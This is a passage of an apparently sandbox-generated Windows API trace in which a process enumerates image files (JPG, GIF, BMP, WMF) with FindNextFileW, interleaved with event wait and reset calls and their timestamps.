dwMilliseconds=0xffffffff) returned 0x0 [0259.600] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1 [0259.600] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1 [0259.600] ResetEvent (hEvent=0x118) returned 1 [0259.601] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0259.613] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1 [0259.613] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0259.614] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1 [0259.614] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1 [0259.614] ResetEvent (hEvent=0x118) returned 1 [0259.614] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0259.636] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1 [0259.636] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1 [0259.637] ResetEvent (hEvent=0x118) returned 1 [0259.642] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0259.644] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1 [0259.644] ResetEvent (hEvent=0x118) returned 1 [0259.645] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0260.720] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1 [0260.721] ResetEvent (hEvent=0x118) returned 1 [0260.721] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0266.892] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1 [0266.892] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1 [0266.892] ResetEvent (hEvent=0x118) returned 1 [0266.892] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0268.333] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1 [0268.333] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1 [0268.334] ResetEvent (hEvent=0x118) returned 1 [0268.334] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0269.198] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1 [0269.198] ResetEvent (hEvent=0x118) returned 1 [0269.198] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0269.704] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1 [0269.704] ResetEvent (hEvent=0x118) returned 1 [0269.706] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0269.733] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1 [0269.733] ResetEvent (hEvent=0x118) returned 1 [0269.733] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0269.760] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1 [0269.761] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1 [0269.761] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1 [0269.761] ResetEvent (hEvent=0x118) returned 1 [0269.761] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0269.775] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1 [0269.776] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1 [0269.776] ResetEvent (hEvent=0x118) returned 1 [0269.776] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0270.038] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1 [0270.039] ResetEvent (hEvent=0x118) returned 1 [0270.039] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0270.813] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1 [0270.814] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1 [0270.814] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1 [0270.814] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1 [0270.815] ResetEvent (hEvent=0x118) returned 1 [0270.815] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0271.937] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1 [0271.938] ResetEvent (hEvent=0x118) returned 1 [0271.938] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0271.939] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1 [0271.939] ResetEvent (hEvent=0x118) returned 1 [0271.940] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0274.543] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1 [0274.569] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1 [0274.569] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1 [0274.570] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1 [0274.570] ResetEvent (hEvent=0x118) returned 1 [0274.570] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0275.682] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1 [0275.683] ResetEvent (hEvent=0x118) returned 1 [0275.683] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0275.702] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1 [0275.703] ResetEvent (hEvent=0x118) returned 1 [0275.703] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0275.724] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1 [0275.724] ResetEvent (hEvent=0x118) returned 1 [0275.724] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0275.754] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1 [0275.755] ResetEvent (hEvent=0x118) returned 1 [0275.755] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0275.787] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1 [0275.787] ResetEvent (hEvent=0x118) returned 1 [0275.788] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0275.802] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1 [0275.802] ResetEvent (hEvent=0x118) returned 1 [0275.802] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0282.926] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1 [0282.926] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1 [0282.926] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1 [0282.926] ResetEvent 